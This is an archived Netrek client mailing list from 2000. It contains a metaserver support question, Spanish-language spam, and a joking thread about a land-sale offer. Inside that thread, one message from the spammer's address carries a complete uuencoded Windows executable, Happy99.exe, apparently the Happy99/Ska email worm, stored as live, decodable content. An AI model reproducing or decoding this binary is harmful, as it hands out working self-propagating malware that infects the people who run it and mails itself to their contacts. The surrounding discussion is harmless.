From achristina at wwdb.org  Sun Jul  2 05:10:20 2000
From: achristina at wwdb.org (Anthony Christina)
Date: Wed Jan 12 00:50:18 2005
Subject: [Netrek Clients] metaserver question with COW
Message-ID: <395F150A.BBD1E8B3@wwdb.org>

I'm a returning netrekker from a few years ago.

I just downloaded the newest COW and I can't seem to connect to a
metaserver.  I tried the -m, -k, and -h (server_address) options, all
without resolve.  I am using the <metaserver.ecst.csuchico.edu> address
- is this still right?

Also, I tried messing around with the <netrekrc> file under the login
and server headings, but again with no luck

Could you tell me now to configure this cleint to check a metaserver?

Thanks for your help -

Tony

PS--Did the <netrekrc> file replace the <xtrekrc> file in the new
client?  If not, is the <xtrekrc> file still needed?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000702/9de8fadc/attachment.html
From quozl at us.netrek.org  Sun Jul  2 23:44:19 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:50:18 2005
Subject: [Netrek Clients] metaserver question with COW
In-Reply-To: <395F150A.BBD1E8B3@wwdb.org>; from achristina@wwdb.org on Sun, Jul 02, 2000 at 03:10:20AM -0700
References: <395F150A.BBD1E8B3@wwdb.org>
Message-ID: <20000703144419.Z14758@us.netrek.org>

The metaserver moved to metaserver.netrek.org.
That should fix your primary problem.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From vginvest at entelchile.net  Wed Jul 12 16:24:44 2000
From: vginvest at entelchile.net (VG INVERSIONES)
Date: Wed Jan 12 00:50:19 2005
Subject: [Netrek Clients] PARQUE ECOLOGICO NATURAL ANTUMALAL
Message-ID: <000501bfeccd$bd90d6a0$775554ce@vginvest>

Skipped content of type multipart/alternative-------------- next part --------------
A non-text attachment was scrubbed...
Name: INGLES GERENTES GENERAL.doc
Type: application/msword
Size: 753664 bytes
Desc: not available
Url : http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000712/909223c9/INGLESGERENTESGENERAL.doc
From vginvest at entelchile.net  Wed Jul 12 16:25:40 2000
From: vginvest at entelchile.net (VG INVERSIONES)
Date: Wed Jan 12 00:50:20 2005
Subject: [Netrek Clients] PARQUE ECOLOGICO NATURAL ANTUMALAL
Message-ID: <000601bfecce$05e253c0$775554ce@vginvest>

Skipped content of type multipart/alternative-------------- next part --------------
A non-text attachment was scrubbed...
Name: INGLES PRESIDENTE.doc
Type: application/msword
Size: 754176 bytes
Desc: not available
Url : http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000712/baa5bb26/INGLESPRESIDENTE.doc
From vginvest at entelchile.net  Wed Jul 12 16:24:44 2000
From: vginvest at entelchile.net (VG INVERSIONES)
Date: Wed Jan 12 00:50:22 2005
Subject: [Netrek Clients] PARQUE ECOLOGICO NATURAL ANTUMALAL
Message-ID: <000301bfeccf$aef461a0$aa4554ce@vginvest>

Skipped content of type multipart/alternative-------------- next part --------------
A non-text attachment was scrubbed...
Name: INGLES GERENTES GENERAL.doc
Type: application/msword
Size: 753664 bytes
Desc: not available
Url : http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000712/8f3d01af/INGLESGERENTESGENERAL.doc
From vginvest at entelchile.net  Wed Jul 12 16:25:40 2000
From: vginvest at entelchile.net (VG INVERSIONES)
Date: Wed Jan 12 00:50:23 2005
Subject: [Netrek Clients] PARQUE ECOLOGICO NATURAL ANTUMALAL
Message-ID: <000401bfecd0$0aa80740$aa4554ce@vginvest>

Skipped content of type multipart/alternative-------------- next part --------------
A non-text attachment was scrubbed...
Name: INGLES PRESIDENTE.doc
Type: application/msword
Size: 754176 bytes
Desc: not available
Url : http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000712/345da038/INGLESPRESIDENTE.doc
From interlat at infovia.com.ar  Tue Jul 18 16:15:22 2000
From: interlat at infovia.com.ar (Edgardo Hernandez)
Date: Wed Jan 12 00:50:23 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
Message-ID: <000801bff0fd$4a35dfa0$2bcc0dd1@pentium3>

admirado se?or Ted Turner : tenemos en la familia 5000 hectareas en la patagonia (rio negro) y deseamos vender.-es una oportunidad.-si hay interes puedo ampliar la informacion.-atentamente ing edgardo hernandez.-mail:interlat@infovia.com.ar.-. 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000718/5c0e2138/attachment.htm
From interlat at infovia.com.ar  Tue Jul 18 16:28:28 2000
From: interlat at infovia.com.ar (Edgardo Hernandez)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
Message-ID: <200007182128.e6ILSN207333@sprite.real-time.com>

begin 644 Happy99.exe
M35I0``(````$``\`__\``+@`````````0``:````````````````````````
M``````````````````````$``+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@5VEN,S(-"B0W````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````%!%``!,`00`GR77C@``
M````````X`".@0L!`AD`"@```!8```````````$````!`````@```$`````!
M```"```!``````````,`"@`````````%```$`````````@``````$```(```
M```0```0````````$``````````````````#`$`#````````````````````
M``````````````````0`:`$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````0T]$10``````$``````!```*````!@``````````````````
M(```8$1!5$$``````!```````@``$````!```````````````````$```,`N
M:61A=&$````0``````,```0````@``````````````````!```#`+G)E;&]C
M````$``````$```"````)```````````````````0```4```````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
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
M@_@`#X0!`0``N0`0``"+->L.0@!15E^#QQ2+1@BKBT8,JX$&`!```*T!1@2M
M`48$K<'X$(O0K<'X$(O8K8/X`'4%@\8(ZTF`;OP!<P3&1OP`@&[]`7,$QD;]
M`(!N_@%S!,9&_@!64%)3_S5C#T(`Z/8!``!>K<'X$(O0K<'X$%9J`%)0_S5C
M#T(`Z-L!``!>@\8$64D/A7G_____!5,/0@#I-/___X,]-P]"`!)T%K@S#T(`
M4%#HJ0$``.B&`0``Z17_____-6,/0@#_-8(/0@#H4@$``,<%B@]"`/_____I
M/_[__UBCA@]"`(-\)`0"=0MJ`.@[`0``,\#K!>A*`0``BPV&#T(`4<.A3P]"
M`(/@#Z-/#T(`P>`-BSWK#D(``_BY``$``.AF````P>@(HUL/0@#H60```,'H
M"*-7#T(`Z$P```#!Z`@-#P^O`(O8Z#T```#!Z`^)!XE/!-M'!-G^V@_;1P39
M_]H/VQ_;7P2#QPBA5P]"`*NA6P]"`*N+PZN#QPSBR?\%3P]"`.EW_O__N!-`
M(0#W+5\/0@`KT@41$%,"HU\/0@##_R5D`$,`_R5H`$,`_R5L`$,`_R5P`$,`
M_R5T`$,`_R5X`$,`_R5\`$,`_R6``$,`_R6$`$,`_R6(`$,`_R6,`$,`_R60
M`$,`_R64`$,`_R68`$,`_R6<`$,`_R6@`$,`_R6D`$,`_R6H`$,`_R6P`$,`
M_R6T`$,`_R6X`$,`_R7``$,`_R7$`$,`_R7(`$,`_R7,`$,`_R70`$,`_R74
M`$,`_R78`$,`_R7<`$,`_R7@`$,`_R7D`$,`_R7H`$,`_R7P`$,`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`+*EK__]____^__P_P``__]'_________[__Y?]:15)/"````/_^__]%[__Q
MX$OV,MY'_K,RWF]OJY>6C-^/C9"8C9Z2WY**C(O?G9K?C8J1WXJ1FYJ-WZB6
MD<S-\O7;R%I%4D\B````K[K__[/^^O]@VBIQ6D523P(````?_W%>]/[]YO_U
M____]____________O____[____]____O_____[___W___[__________/_U
M__________G___O________]____6D523P(```#__^___^_________O____
M___[_Z________S_D_[__UI%4D\&````___Z_Q/___]:15)/%````+RPN[K_
M_____^_______O__]?____G__UI%4D\#````W___G[N^J[[______^______
M_?___?___^___UI%4D\#````O___/]&6FYZ+GO___^_______/___?___^W_
M_UI%4D\#````O___/]&:FYZ+GO___^______^____?___^O__UI%4D\#````
MO___O]&-FI.0G/___^______^O___?___^G__UI%4D\#````O___KUI%4D_0
M````?(/;]_^+LGR#V_?^B_T4L$'#_[W_J:!&RO___U,)+U4=!9?_W___E;\7
M9_?__WH_BOO,/Q310&;_O?]4^D?T__]4^D?T__]4^A?\__]4?#^;5!3T`,IF
M_[W_%Y+W__]'_O___SWS_Q>4^O__?`:;\'AU____=/S:("`@(,*ROK:SBLUT
MO/O:`"`@(,+?N:VPBMR9=+SWF=H@`)G"LL6*ZG0,=,)>_[W_=O+__[W_#%L6
M@/[__W3\VB`@("#"K;ROJXK(=+S[V@`@(`#"WZNPQ8K7%T_X__]V\OO_O?\7
M(O[__WP'__![MO[__SCZ:O^]_P`````6SO[__Q;*_O__%\'\__]\!__P>MC^
M__]TRF+_O?^94IG"___P>^K^__]\PFK_O?__\'H*____%U#[__]>?O^]_W3B
M9O^]_Q>6^___?`<`\'L/____%T_[__]'^O___T3E_[W_%[/[__]\!P#P>RS_
M__\7!_G__\+-RL_?\'H\____1_G___]$]_^]_Q?;^___?`<`\'M4____%R_Y
M___"S<K/W_!Z9/___U[__[W_=.)>_[W_%P3\__]\!P#P>WW___\76/G__\+-
MRL_?BHETRF+_O?]TZE[_O?]\%<W,-G014[[$#8BBP_^+W\/UB@UT/G0B%T/\
M__]\!P"+N!>3^?__PLW*S]^*Q!0M1_G___]$\?^]_Q=E_/__?`<`B]H7M?G_
M_\+,RLO?BN8X^FK_O?______=,)B_[W_S#]41_[___\\1[*RLK(\%VW\__]\
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
M4VMA+F5X90!<;&ES=&4N<VMA`/___UI%4D]F````@__\_\/__/]:15)/`P``
M`'?__/^W__S_6D523P4```!I__S_8?_\______]/__S_.?_\_R/__/\5__S_
M"?_\__W^_/_M_OS_V_[\_\G^_/^]_OS_K_[\_Z'^_/______J*RPO+3,S=&;
MDY/_M+JML;JSS,W1FY.3_____XV:G(G_____J*R^N)J+LYZ,B[J-C9"-____
MO(V:GHN:N9:3FK*>CX^6D9B^_____[B:BZR&C(N:DKN6C9J<BY"-AK[___^S
MD)R>D[Z3DY"<_____[.0G)Z3N8V:FO___ZV:GINYEI.:_____[*>CZF6FHBP
MF;F6DYK___^LFHNYEI.:KY"6D8N:C?____^JD9*>CZF6FHBPF;F6DYK___^H
MC9:+FKF6DYK___^XFHNYEI.:K):%FO___[R-FIZ+FKF6DYJ^____O).0C)JW
MGI&;DYK_6D523R@```##__O__O____W____]____U__[_\__^__'__O_F/_^
M_[_]_O^Y__O_M/_[_____O^2GIN3D]&[L[/_DIZ6D_^1FHB,_UI%4D]L````
M___^_Q/____NS\C/J<];SU7/)L\2S_#.WL[-SL?.JLZ"SE_.6<XYSC/.^,W<
MS=+-I<V?S8;-9LTYS2?-(LT<S1;-]\SES,S,Q<RZS+3,H<R5S'C,9LQ3S$O,
M'<P'S/_+\LOGR]7+RLM^RFO*3<I'RAG*!<KKR>/)T<G,R<;)P,FAR8_)BLF$
MR7+)8LE0R4+),,DKR27)%\D$R?[(^,COR&S(6LA#R#C(*<@CR!K("L@$R/['
M^,?MQ^3'SL?&Q[O'L,>EQY7'C\=_QW7'3\=)QT/'/<<WQS''*\<EQQ_'&<<3
MQPW'!\<!QUI%4D]&`@``14Y$(`"VC-^6B]^>WXF6C8J,T]^>WXB0C9+3WY[?
MBXV0E9Z1P-^RL*JKTK*PJJO?MX:=C9:;W]><UM^LCYZ1C)2>W\[&QL;1_Z.(
MC)"<E,S-T9N3D_^CK)2>T9N3D_^CK)2>T9J'FO^LD)F+B)Z-FJ.REIR-D(R0
MF8NCJ):1FY"(C*.\BHV-FI&+J9J-C):0D:.MBI&PD9R:_P``````````````
M````````````````````````````````````````````````````````````
M``````````````````````````!+15).14PS,BYD;&P`3&]A9$QI8G)A<GE!
M`$9R965,:6)R87)Y`$=E=%!R;V-!9&1R97-S````````````````````````
M`````````````````````````````````````T``````````````````````
M``````````````<`````````````````````````````````````````````
M````````````````````````````$;NJ_P````!(87!P>2!.97<@665A<B`Q
M.3DY("$A````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````#X``,`9``#``````````````````4!`P"P``,`````
M````````````$@$#`,```P`````````````````=`0,`\``#````````````
M````````````````*`$#`#0!`P!&`0,`7@$#`'(!`P!^`0,`D`$#`)X!`P"L
M`0,`P@$#`-`!`P#F`0,`]@$#``P"`P`:`@,`*`(#`#0"`P!$`@,``````%`"
M`P!B`@,`=`(#``````""`@,`C@(#`*`"`P"R`@,`P@(#`,H"`P#>`@,`\`(#
M``(#`P`0`P,`(`,#```````T`P,``````$M%4DY%3#,R+F1L;`!!1%9!4$DS
M,BYD;&P`55-%4C,R+F1L;`!'1$DS,BYD;&P`````5W)I=&5&:6QE````56YM
M87!6:65W3V9&:6QE````1V5T5VEN9&]W<T1I<F5C=&]R>4$`````1V5T36]D
M=6QE2&%N9&QE00````!#;W!Y1FEL94$```!'9710<F]C061D<F5S<P````!%
M>&ET4')O8V5S<P```$=E=$9I;&53:7IE````1V5T36]D=6QE1FEL94YA;65!
M`````$QO8V%L06QL;V,`````0W)E871E1FEL94UA<'!I;F=!`````$=E=%9E
M<G-I;VY%>$$```!'9713>7-T96U$:7)E8W1O<GE!````0W)E871E1FEL94$`
M``!#;&]S94AA;F1L90```$QO8V%L1G)E90```$UA<%9I97=/9D9I;&4```!2
M96%D1FEL90````!296=3971686QU945X00````!296=#<F5A=&5+97E%>$$`
M``!296=#;&]S94ME>0```%)E;&5A<V5$0P```%)E9VES=&5R0VQA<W-!````
M`%!O<W11=6ET365S<V%G90```%!E96M-97-S86=E00````!'971$0P```$1I
M<W!A=&-H365S<V%G94$`````1&5F5VEN9&]W4')O8T$`````0W)E871E5VEN
M9&]W17A!````4VAO=U=I;F1O=P````!5<&1A=&57:6YD;W<`````5')A;G-L
M871E365S<V%G90````!39710:7AE;%8`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````!`&@!```6
M,$8P7C!P,'LPD#"B,*LPL3"W,,8PS##6,-PP`3$',0PQ$C$8,38Q2#%/,54Q
M6S%A,7,Q>3%_,8PQDC&8,:LQL3'-,=TQXC'P,04R$C(=,BTR.S)-,EHR;#*;
M,J4RKC*X,L8R\C(.,RXS-C-#,THS4#-9,X`SAC.2,Y@SM3/5,^0S\#/U,_LS
M!C0;-"HT-C0[-$$T3#19-&4T=S1\-((TE#29-)\TL32V-+PTSC34--HTMC7!
M-<DUTC77->(U[S7\-0<V$C8=-B@V9#8S-DXV6C9?-FDV;S9S-G@VAC:@-J4V
ML#:X-L,VSC;8-N0V]C;^-A(W;3>(-Y\WJC>R-\DWSS?:-^DW!C@-.!4X'C@R
M.#\X=CA\.(LXFSBG.*XXM#BZ.,`XQCC,.-(XV#C>..0XZCCP./8X_#@".0@Y
M#CD4.1HY(#DF.2PY,CDX.3XY1#E*.5`Y5CE<.6(Y:#EN.0``````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
*````````````````
`
end


From zu22 at andrew.cmu.edu  Tue Jul 18 17:36:37 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
In-Reply-To: <000801bff0fd$4a35dfa0$2bcc0dd1@pentium3>
Message-ID: <Pine.SOL.3.96L.1000718183618.19084B-100000@unix12.andrew.cmu.edu>

Hola

Hablas anglais pour favour :)

On Tue, 18 Jul 2000, Edgardo Hernandez wrote:

> admirado se?or Ted Turner : tenemos en la familia 5000 hectareas en la patagonia (rio negro) y deseamos vender.-es una oportunidad.-si hay interes puedo ampliar la informacion.-atentamente ing edgardo hernandez.-mail:interlat@infovia.com.ar.-. 
> 

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From watts at jayhawks.net  Tue Jul 18 17:53:36 2000
From: watts at jayhawks.net (Jeffrey Watts)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
In-Reply-To: <Pine.SOL.3.96L.1000718183618.19084B-100000@unix12.andrew.cmu.edu>
Message-ID: <Pine.LNX.4.21.0007181720500.18570-100000@violet.jayhawks.net>

On Tue, 18 Jul 2000, Zachary Uram wrote:

> Hola
> 
> Hablas anglais pour favour :)

Not sure what language you were trying to speak, but in Spanish it's
"Habla ingles, por favor".  Note the correct spelling and the use of the
third person singular, which is how one addresses someone they don't know
with respect.

The email he sent was spam; interesting spam in that it reminds me of the
"land in the everglades" joke.

Here is my translation, which captures the spirit, but forgive me of any
minor mistakes -- my Spanish is very rusty and I spoke the Mexican
dialect, not Argentinian.

----
The admired Mr Ted Turner, we have in our family 5000 hectares [of land]
in the Patagonia (Rio Negro) and we wish to sell it.  -This is an
opportunity-  If there is interest I can provide [send?] the
information.  Sincerely, Edgardo Hernandez.
----

Por Senor Edgardo Hernandez:

Senor, esta lista no esta por el norteamericano famoso "Ted Turner", es
por una otra cosa.  No sabemos la direccion de Senor Turner.  Perdon si mi
espanol no es bien.  Muchas gracias por la invitacion.

Jeffrey.

o-----------------------------------o
| Jeffrey Watts                     |
| watts@jayhawks.net         o-----------------------------------------o
| Systems Programmer         | "If you put multimedia, a leather       |
| Network Systems Management |  skirt, and lipstick on a grandmother   |
| Sprint Communications      |  and take her to a nightclub, she's     |
o----------------------------|  still not going to get lucky."         |
                             |  -- Jean-Louis Gassee                   |
                             |  Regarding the Windows98 update         |
                             o-----------------------------------------o



From ahn at vec.wfubmc.edu  Tue Jul 18 19:03:44 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
In-Reply-To: <Pine.LNX.4.21.0007181720500.18570-100000@violet.jayhawks.net>; from watts@jayhawks.net on Tue, Jul 18, 2000 at 05:53:36PM -0500
References: <Pine.SOL.3.96L.1000718183618.19084B-100000@unix12.andrew.cmu.edu> <Pine.LNX.4.21.0007181720500.18570-100000@violet.jayhawks.net>
Message-ID: <20000718200344.A94608@cecum.vec.wfubmc.edu>

On Tue, Jul 18, 2000 at 05:53:36PM -0500, Jeffrey Watts wrote:
> ----
> The admired Mr Ted Turner, we have in our family 5000 hectares [of land]
> in the Patagonia (Rio Negro) and we wish to sell it.  -This is an
> opportunity-  If there is interest I can provide [send?] the
> information.  Sincerely, Edgardo Hernandez.
> ----

Believe it or not, this isn't the first offer I've seen.

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From zu22 at andrew.cmu.edu  Tue Jul 18 19:29:55 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] ofrecer en venta 5000 hectareas
In-Reply-To: <20000718200344.A94608@cecum.vec.wfubmc.edu>
Message-ID: <Pine.SOL.3.96L.1000718202951.19084H-100000@unix12.andrew.cmu.edu>

lol

On Tue, 18 Jul 2000, Dave Ahn wrote:

> On Tue, Jul 18, 2000 at 05:53:36PM -0500, Jeffrey Watts wrote:
> > ----
> > The admired Mr Ted Turner, we have in our family 5000 hectares [of land]
> > in the Patagonia (Rio Negro) and we wish to sell it.  -This is an
> > opportunity-  If there is interest I can provide [send?] the
> > information.  Sincerely, Edgardo Hernandez.
> > ----
> 
> Believe it or not, this isn't the first offer I've seen.
> 
> -- 
> Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center
> 
